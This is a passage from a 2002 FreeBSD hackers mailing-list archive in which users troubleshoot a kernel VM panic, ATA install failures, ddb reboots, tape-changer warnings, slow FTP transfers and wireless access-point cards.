occurs when=20 running > > as root. > > > > What I do: > > 1) Press the HotSync Button on my crade > > 2) Run ./pilot-xfer -p usb:/dev/ugen0 --sync /home/amistry/bk > > 3) Watch it fail > > > > Thanks, > > > > -- > > Anish Mistry > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-hackers" in the body of the message > > >=20 > -- > Fred Clift - fclift@verio.net -- Remember: If brute > force doesn't work, you're just not using enough. >=20 >=20 >=20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 27 20:33:58 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [205.147.43.8]) by hub.freebsd.org (Postfix) with ESMTP id 6DB1C37B407 for ; Thu, 27 Jun 2002 20:33:55 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g5S3We022717 for ; Thu, 27 Jun 2002 20:32:40 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200206280332.g5S3We022717@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: freebsd-hackers@freebsd.org Subject: panic: vm_object_terminate: freeing busy page 0xc0fbcdc4 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 27 Jun 2002 20:32:35 -0700 From: Dave Hayes Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Subject says why a machine died. Anyone have any ideas what this panic from vm_object.c means? ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< "It is error alone which needs the support of government, truth can stand by itself." -Thomas Jefferson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 27 20:41:31 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from public.wh.hb.cn (mail2.wh.hb.cn [202.103.0.113]) by hub.freebsd.org (Postfix) with ESMTP id 220ED37B400 for ; Thu, 27 Jun 2002 20:41:21 -0700 (PDT) Received: from RavProxy ([61.183.76.30]) by public.wh.hb.cn (Sun Internet Mail Server sims.4.0.2001.07.26.11.50.p9) with ESMTPA id <0GYE00HM3CSQTK@public.wh.hb.cn> for freebsd-hackers@freebsd.org; Fri, 28 Jun 2002 11:38:51 +0800 (CST) Date: Fri, 28 Jun 2002 11:38:00 +0800 From: =?gb2312?B?0e7TwtbH?= Subject: Problem on installing FreeBSD 4.5-RELEASE To: freebsd-hackers@freebsd.org Message-id: <000001c21e55$342bbbd0$050710ac@heos.com> Organization: =?gb2312?B?zuS6uruq1q7R87nitefPtc2z09DP3tTwyM65q8u+?= MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Mailer: Microsoft Outlook, Build 10.0.2627 Content-type: text/plain; charset=gb2312 Content-transfer-encoding: 7BIT Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG My computer's hardware are shown below: CPU: Celeron 400MHz Chipset: VIA VT82C691 + VT82C586B BIOS: Award (1998) Hard Disk: Maxtor 4D040H2 (40GB IDE) Memory: 2*128MB SDRAM At first, the BIOS couldn't recognize the new Maxtor Disk. I upgraded it to 2001, and it worked. I planned to partition the disk as follow: Primary Partition 1: 7.2GB, FAT32 (running Windows XP Pro) Primary Partition 2: 4.0GB, UFS (running FreeBSD) / = 128MB swap = 256MB /var = 384MB /tmp = 256MB /usr = every thing else Extended Partition: Logical Disk 1 and 2: NTFS (for Windows XP Pro) I setup Windows XP first, and install System Commander 7.04 as the boot manager. During the installation of FreeBSD 4.5-RELEASE, when the system is making the /dev/ad0s3a, I see warning messages from virtual terminal 2: Warning: Block size and bytes per inode restrict cylinders per group to 89. Warning: inode blocks/cyl group (171) >= data blocks (64) in last cylinder group. This implies 2048 sector(s) are unallocated. During the format process, I see following messages showing frequently: ad0: WRITE command timeout tag=0 serv=0 - resetting ata0: resetting devices ... done After file system was made, the above messages still show intermittently during the file copy process. Finally, system shows something like this and reboot: Fatal trap 12: page fault while in kernel mode fault virtual address = ... fault code / supervisor write, page not present instruction pointer = ... stack pointer = ... frame pointer = ... code segment = ... = ... processor eflags = ... current process = ... interrupt mask = ... trap number = 12 panic: page fault Or something like this: syncing disk ... I changed the options of newfs to "-b 32768 -f 4096 -c 16". This time the "cylinders per group" warning message disappear, and the "timeout" warnings went out infrequetly, but the install process still can not finish. I tried some other values of block size, fragment size and cylinders/group, they all cannot fix the problem. The same problem occurred when I tried to install FreeBSD 5.0-CURRENT. After several times of defeat, I turned to FreeBSD 3.4-STABLE, which uses wd driver for hard disks. Except the following warning message, nothing went wrong -- the installation has been completely successful: Warning: the last 2048 sector(s) can't be allocated. I sent this question to freebsd-questions@freebsd.org, but no one can resolve it. What's the problem with FreeBSD versions that use the ata hard disk driver? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 27 21:40:43 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 82AB337B405 for ; Thu, 27 Jun 2002 21:40:40 -0700 (PDT) Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id 262E043DFF for ; Thu, 27 Jun 2002 21:40:40 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: from apollo.backplane.com (localhost [127.0.0.1]) by apollo.backplane.com (8.12.4/8.12.3) with ESMTP id g5S4edT4002811; Thu, 27 Jun 2002 21:40:39 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.12.4/8.12.3/Submit) id g5S4ed5v002810; Thu, 27 Jun 2002 21:40:39 -0700 (PDT) (envelope-from dillon) Date: Thu, 27 Jun 2002 21:40:39 -0700 (PDT) From: Matthew Dillon Message-Id: <200206280440.g5S4ed5v002810@apollo.backplane.com> To: Dave Hayes Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: panic: vm_object_terminate: freeing busy page 0xc0fbcdc4 References: <200206280332.g5S3We022717@hokkshideh2.jetcafe.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG :Subject says why a machine died. Anyone have any ideas what this :panic from vm_object.c means? :------ :Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org :>>> The opinions expressed above are entirely my own <<< : :"It is error alone which needs the support of government, :truth can stand by itself." -Thomas Jefferson : What kernel version are you running? -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Jun 27 22:27:53 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 54EEB37B401 for ; Thu, 27 Jun 2002 22:27:50 -0700 (PDT) Received: from cse.cs.huji.ac.il (cse.cs.huji.ac.il [132.65.16.30]) by mx1.FreeBSD.org (Postfix) with ESMTP id CBD1043E0A for ; Thu, 27 Jun 2002 22:27:49 -0700 (PDT) (envelope-from danny@cs.huji.ac.il) Received: from pampa.cs.huji.ac.il ([132.65.80.32] ident=danny) by cse.cs.huji.ac.il with esmtp id 17NoIO-0002o4-00 for freebsd-hackers@freebsd.org; Fri, 28 Jun 2002 08:27:48 +0300 X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: freebsd-hackers@freebsd.org Subject: Re: reboot frm ddb In-Reply-To: Message from Julian Elischer of "Thu, 27 Jun 2002 11:04:29 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 28 Jun 2002 08:27:48 +0300 From: Danny Braniss Message-Id: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG thanks to all! what works for me is panic and then a danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 28 0:46:27 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EF7C337B400 for ; Fri, 28 Jun 2002 00:46:17 -0700 (PDT) Received: from webweaving.org (adsl-66-124-87-42.dsl.snfc21.pacbell.net [66.124.87.42]) by mx1.FreeBSD.org (Postfix) with ESMTP id E8C0A43E06 for ; Fri, 28 Jun 2002 00:46:16 -0700 (PDT) (envelope-from dirkx@webweaving.org) Received: from dirkx (helo=localhost) by webweaving.org with local-esmtp (Exim 3.14 #1) id 17NrEn-0003ul-00 for freebsd-hackers@freebsd.org; Fri, 28 Jun 2002 08:36:17 +0000 Date: Fri, 28 Jun 2002 08:36:16 +0000 (GMT) From: Dirk-Willem van Gulik X-Sender: dirkx@router.ispra.webweaving.org To: freebsd-hackers@freebsd.org Subject: How noisy should ch(4) be ? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On a stock 4.5-RELEASE I get *lots* of Jun 28 11:37:53 amanda /kernel: ch: warning: could not map element source address 40384d to a valid element type as soon as chio touches the tape changer. How noisy should ch(4) be - is this normal ? Previous experience with a SONY DAT library and a seagate was more silent :-) Device details: camcontrol devlist at scbus0 target 4 lun 0 (pass0,sa0) at scbus0 target 5 lun 0 (pass1,sa1) at scbus0 target 6 lun 0 (pass2,ch0) dmesg Waiting 5 seconds for SCSI devices to settle sa0 at ahc0 bus 0 target 4 lun 0 sa0: Removable Sequential Access SCSI-2 device sa0: 10.000MB/s transfers (10.000MHz, offset 15) sa1 at ahc0 bus 0 target 5 lun 0 sa1: Removable Sequential Access SCSI-2 device sa1: 10.000MB/s transfers (10.000MHz, offset 15) ch0 at ahc0 bus 0 target 6 lun 0 ch0: Removable Changer SCSI-2 device ch0: 3.300MB/s transfers ch0: 28 slots, 2 drives, 1 picker, 1 portal kernel config # cat AMANDA .. device ahc # AHA2940 and onboard AIC7xxx devices device scbus # SCSI bus (required) device sa # Sequential Access (tape etc) device ch # SCSI media changers thanks ! Dw To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 28 1: 6:12 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 99F2F37B405 for ; Fri, 28 Jun 2002 01:06:07 -0700 (PDT) Received: from mail.asitatech.com (mail.asitatech.ie [193.120.151.1]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4473B43E06 for ; Fri, 28 Jun 2002 01:06:06 -0700 (PDT) (envelope-from devnull@asitatech.ie) Received: from yoda.asitatech.ie ([192.168.127.212]) by mail.asitatech.com (Merak 4.2.3) with ESMTP id FJA37319 for ; Fri, 28 Jun 2002 09:03:23 +0100 Received: by yoda.asitatech.ie (Postfix, from userid 1001) id C78935BB3; Fri, 28 Jun 2002 09:08:05 +0000 (GMT) Date: Fri, 28 Jun 2002 09:08:05 +0000 From: Sergey Lyubka To: freebsd-hackers@freebsd.org Subject: Re: reboot frm ddb Message-ID: <20020628090805.GA69611@yoda.asitatech.ie> Mail-Followup-To: freebsd-hackers@freebsd.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-OS: FreeBSD 4.5-STABLE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Jun 27, 2002 at 11:04:29AM -0700, Julian Elischer wrote: > try > > call boot 0 > > sometimes you need to do it more than once (?) > > > On Thu, 27 Jun 2002, Danny Braniss wrote: Aha. Thanks for all. May be this should be mentioned in ddb manpage ? -- Sergey Lyubka Asita Technologies Int, Galway, Ireland To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 28 2:50:53 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5EB8037B400 for ; Fri, 28 Jun 2002 02:50:51 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [205.147.43.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id E2D2943E06 for ; Fri, 28 Jun 2002 02:50:50 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g5S9oO025754; Fri, 28 Jun 2002 02:50:25 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200206280950.g5S9oO025754@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Matthew Dillon Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: panic: vm_object_terminate: freeing busy page 0xc0fbcdc4 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 28 Jun 2002 02:50:19 -0700 From: Dave Hayes Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Matthew Dillon writes: > What kernel version are you running? 4.5-p4 at the moment. ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< I was to learn later in life that we tend to meet any new situation by reorganizing; and a wonderful method it can be for creating the illusion of progress while producing confusion, inefficiency, and demoralization." - Petronius Arbiter (circa A.D. 60) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 28 6:55:56 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8AFD337B400 for ; Fri, 28 Jun 2002 06:55:50 -0700 (PDT) Received: from mgw1-out.MEIway.com (mgw1.meiway.com [212.73.210.75]) by mx1.FreeBSD.org (Postfix) with ESMTP id 519EE43E0A for ; Fri, 28 Jun 2002 06:55:49 -0700 (PDT) (envelope-from LConrad@Go2France.com) Received: from VirusGate.MEIway.com (virus-gate.meiway.com [212.73.210.91]) by mgw1-out.MEIway.com (Postfix Relay Hub) with ESMTP id F3C77EF6A5 for ; Fri, 28 Jun 2002 15:54:59 +0200 (CEST) Received: from localhost (localhost.meiway.com [127.0.0.1]) by VirusGate.MEIway.com (Postfix) with SMTP id 4FE035D00C for ; Fri, 28 Jun 2002 15:58:00 +0200 (CEST) Received: from mail.Go2France.com (ms1.meiway.com [212.73.210.73]) by VirusGate.MEIway.com (Postfix) with ESMTP id 1BD4B5D008 for ; Fri, 28 Jun 2002 15:57:59 +0200 (CEST) Received: from LenConrad.Go2France.com [66.64.14.18] by mail.Go2France.com with ESMTP (SMTPD32-6.06) id AB5872100A4; Fri, 28 Jun 2002 15:57:44 +0200 Message-Id: <5.1.0.14.2.20020628085159.04523348@mail.Go2France.com> X-Sender: LConrad@Go2France.com@mail.Go2France.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Fri, 28 Jun 2002 08:55:43 -0500 To: freebsd-hackers@freebsd.org From: Len Conrad Subject: ftp and mail much slower into fbsd 4.4 vs and old BSDi Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Sorry, hackers, I posted this twice in -questions and got no response. If the problem is newreno, can somebody say how to up just that piece for 4.0 so as to be as non-disruptive, non-dice-rolling as possible on this otherwise solid machine? Thanks Len ================ FreeBSD 4.4-RELEASE #0 CPU: Pentium III/Pentium III Xeon/Celeron (848.05-MHz 686-class CPU) avail memory = 518156288 (506012K bytes) tx0: port 0x1000-0x10ff mem 0xe8000000-0xe8000fff irq 10 at device 14.0 on pci0 qsphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto tx0: address 00:e0:29:24:17:80, type SMC9432TX ahc0: port 0x1400-0x14ff mem 0xe8001000-0xe8001fff irq 9 at device 16.0 on pci0 aic7892: Ultra160 Wide Channel A, SCSI Id=7, 32/255 SCBs Mounting root from ufs:/dev/da0s1a da0 at ahc0 bus 0 target 0 lun 0 da0: Fixed Direct Access SCSI-3 device da0: 160.000MB/s transfers (80.000MHz, offset 31, 16bit), Tagged Queueing Enabled # sysctl -a | grep tcp tcpcb: 544, 1064, 51, 152, 70748 net.inet.tcp.rfc1323: 1 net.inet.tcp.rfc1644: 0 net.inet.tcp.mssdflt: 512 net.inet.tcp.keepidle: 7200000 net.inet.tcp.keepintvl: 75000 net.inet.tcp.sendspace: 16384 net.inet.tcp.recvspace: 16384 net.inet.tcp.keepinit: 75000 net.inet.tcp.delacktime: 100 net.inet.tcp.v6mssdflt: 1024 net.inet.tcp.log_in_vain: 0 net.inet.tcp.blackhole: 0 net.inet.tcp.delayed_ack: 1 net.inet.tcp.tcp_lq_overflow: 1 net.inet.tcp.path_mtu_discovery: 1 net.inet.tcp.slowstart_flightsize: 1 net.inet.tcp.local_slowstart_flightsize: 65535 net.inet.tcp.newreno: 1 net.inet.tcp.tcbhashsize: 512 net.inet.tcp.do_tcpdrain: 1 net.inet.tcp.pcbcount: 51 net.inet.tcp.icmp_may_rst: 1 net.inet.tcp.strict_rfc1948: 0 net.inet.tcp.isn_reseed_interval: 0 net.inet.tcp.msl: 30000 net.inet.tcp.always_keepalive: 1 # sysctl -a | grep buf kern.ipc.maxsockbuf: 262144 kern.ipc.sockbuf_waste_factor: 8 kern.ipc.mbuf_wait: 32 kern.ipc.nmbufs: 4096 kern.msgbuf: kern.msgbuf_clear: 0 vfs.nfs.bufpackets: 4 vfs.numdirtybuffers: 130 vfs.lodirtybuffers: 499 vfs.hidirtybuffers: 998 vfs.numfreebuffers: 3785 vfs.lofreebuffers: 222 vfs.hifreebuffers: 444 vfs.runningbufspace: 0 vfs.maxbufspace: 64143360 vfs.hibufspace: 63488000 vfs.lobufspace: 63422464 vfs.bufspace: 63422464 vfs.maxmallocbufspace: 3174400 vfs.bufmallocspace: 712704 vfs.getnewbufcalls: 556989 vfs.getnewbufrestarts: 0 vfs.bufdefragcnt: 0 vfs.buffreekvacnt: 0 vfs.bufreusecnt: 3871 vfs.reassignbufcalls: 3716853 vfs.reassignbufloops: 0 vfs.reassignbufsortgood: 474986 vfs.reassignbufsortbad: 1252304 vfs.reassignbufmethod: 1 debug.bpf_bufsize: 4096 debug.bpf_maxbufsize: 524288 machdep.msgbuf: machdep.msgbuf_clear: 0 with a 190 mbyte file: an ftp client pulling the file from fbsd is "blindingly fast" (aka "immeasurably" :)) ) ftp client sending to freebsd is 52 kbytes/sec ftp client sending to another ftp server on the same LAN is 1.6 megabytes/sec sending mail with a large attachment to the fbsd box is 100 kbytes/sec. (postfix is MTA) ftp a 5.5 mbyte from workstation client to fbsd: 109 seconds ftp a 5.5 mbyte from fbsd client to workstation ftp server: 3 seconds the machine runs a apache, qpopper, postfix, ftp, bind9 for a small LAN all on the same segment. dmesg and messages shows no errors. netstat -bi gives Name Mtu Network Address Ipkts Ierrs Ibytes Opkts Oerrs Obytes Coll tx0 1500 00:e0:29:24:17:80 3171595 552 465267774 4214806 0 720458428 0 yeah, we don't like the Ierrs of 552. change the nic? change the driver? or is this the "newreno" tcp/ip problem? The Ierrs go up by 2 or 3 after each 5.5 mbytes file transfer. The new FBSD box replaces a BSDi on older hardware, with everybody on the LAN now noting that ftp of big files to and mail with big attachments to the new FBSD box are dramatically slower than the BSDi box. Anybody have any idea how to speed up / fix the transfers to the fbsd box? thanks Len www.menandmice.com/DNS-training : DNS Training BIND8NT.MEIway.com : ISC BIND for NT4 & W2K IMGate.MEIway.com : Build free, hi-perf, anti-abuse mail gateways To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 28 9:17:21 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 64EDE37B401 for ; Fri, 28 Jun 2002 09:17:18 -0700 (PDT) Received: from gatekeeper.orem.verio.net (gatekeeper.oremut01.us.wh.verio.net [198.65.168.16]) by mx1.FreeBSD.org (Postfix) with ESMTP id B8CB143E06 for ; Fri, 28 Jun 2002 09:17:17 -0700 (PDT) (envelope-from fclift@verio.net) Received: from mx.dmz.orem.verio.net (mx.dmz.orem.verio.net [10.1.1.10]) by gatekeeper.orem.verio.net (Postfix) with ESMTP id 9BA893BF16D for ; Fri, 28 Jun 2002 10:17:16 -0600 (MDT) Received: from vespa.dmz.orem.verio.net (vespa.dmz.orem.verio.net [10.1.1.59]) by mx.dmz.orem.verio.net (8.11.6/8.11.6) with ESMTP id g5SGHF788968; Fri, 28 Jun 2002 10:17:16 -0600 (MDT) Date: Fri, 28 Jun 2002 10:36:51 -0600 (MDT) From: Fred Clift X-X-Sender: To: Leo Bicknell Cc: Subject: Re: Using FreeBSD as a base station In-Reply-To: <20020627231016.GA88999@ussenterprise.ufp.org> Message-ID: <20020628103356.A49549-100000@vespa.dmz.orem.verio.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I dont know as this is the 'best' or even anyone elses recommendation, but I'm using an Intel Anypoint II wireless (note the II) card as an AP, on occasion. It is a very standard prism2 card that 'just works' (once you put the right strings in /etc/pccardd.conf). Fred > thinking I should pick a card with better functionality. What's > the recomendation on the best supported card to make a FreeBSD > AP? -- Fred Clift - fclift@verio.net -- Remember: If brute force doesn't work, you're just not using enough. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 28 10:42:56 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1043537B406 for ; Fri, 28 Jun 2002 10:42:42 -0700 (PDT) Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id B3A7343E1A for ; Fri, 28 Jun 2002 10:42:33 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: from apollo.backplane.com (localhost [127.0.0.1]) by apollo.backplane.com (8.12.4/8.12.3) with ESMTP id g5SHgXT4005852; Fri, 28 Jun 2002 10:42:33 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.12.4/8.12.3/Submit) id g5SHgXQP005851; Fri, 28 Jun 2002 10:42:33 -0700 (PDT) (envelope-from dillon) Date: Fri, 28 Jun 2002 10:42:33 -0700 (PDT) From: Matthew Dillon Message-Id: <200206281742.g5SHgXQP005851@apollo.backplane.com> To: Dave Hayes Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: panic: vm_object_terminate: freeing busy page 0xc0fbcdc4 References: <200206280950.g5S9oO025754@hokkshideh2.jetcafe.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG :Matthew Dillon writes: :> What kernel version are you running? : :4.5-p4 at the moment. :------ :Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org I have no idea what 4.5-p4 is. Is it RELENG_4 (stable) or RELENG_4_5 (the security branch), and what was the build date? The reason I am asking is that there was a bug fixed sometime during the 4.5 cycle where a VM object could be freed while still holding pages undergoing I/O, resulting in this sort of panic. The fix is not a simple one-liner, however, so if this is what is causing your problem the best thing to do is probably to upgrade to the latest -stable. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 28 10:54: 8 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9477D37B400 for ; Fri, 28 Jun 2002 10:54:01 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [205.147.43.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2472E43E06 for ; Fri, 28 Jun 2002 10:54:01 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g5SHro029967; Fri, 28 Jun 2002 10:53:50 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200206281753.g5SHro029967@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Matthew Dillon Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: panic: vm_object_terminate: freeing busy page 0xc0fbcdc4 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 28 Jun 2002 10:53:45 -0700 From: Dave Hayes Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Matthew Dillon writes: > I have no idea what 4.5-p4 is. Is it RELENG_4 (stable) or RELENG_4_5 > (the security branch), and what was the build date? It's RELENG_4_5 (the security branch) but the 4th patched release of that, build date is: FreeBSD 4.5-RELEASE-p4 #2: Fri May 3 21:15:50 PDT 2002 > The reason I am asking is that there was a bug fixed sometime during the > 4.5 cycle where a VM object could be freed while still holding pages > undergoing I/O, resulting in this sort of panic. The fix is not a > simple one-liner, however, so if this is what is causing your problem > the best thing to do is probably to upgrade to the latest -stable. Ahhh, ok. Thanks a bunch, there -is- a fix. =) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< There is no reality except the one contained within us. That is why so many people live such an unreal life. They take the images outside them for reality and never allow the world within to assert itself. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Jun 28 11:14:24 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0B2D337B401 for ; Fri, 28 Jun 2002 11:14:15 -0700 (PDT) Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id B4BAB43E09 for ; Fri, 28 Jun 2002 11:14:14 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: from apollo.backplane.com (localhost [127.0.0.1]) by apollo.backplane.com (8.12.4/8.12.3) with ESMTP id g5SIEET4006107; Fri, 28 Jun 2002 11:14:14 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.12.4/8.12.3/Submit) id g5SIEEqF006106; Fri, 28 Jun 2002 11:14:14 -0700 (PDT) (envelope-from dillon) Date: Fri, 28 Jun 2002 11:14:14 -0700 (PDT) From: Matthew Dillon Message-Id: <200206281814.g5SIEEqF006106@apollo.backplane.com> To: Dave Hayes Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: panic: vm_object_terminate: freeing busy page 0xc0fbcdc4 References: <200206281753.g5SHro029967@hokkshideh2.jetcafe.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG : :Matthew Dillon writes: :> I have no idea what 4.5-p4 is. Is it RELENG_4 (stable) or RELENG_4_5 :> (the security branch), and what was the build date? : :It's RELENG_4_5 (the security branch) but the 4th patched release of :that, build date is: : :.. :> the best thing to do is probably to upgrade to the latest -stable. : :Ahhh, ok. Thanks a bunch, there -is- a fix. =) :------ :Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org Hi Dave. I found the original thread. Tor found a bug that he fixed which I've 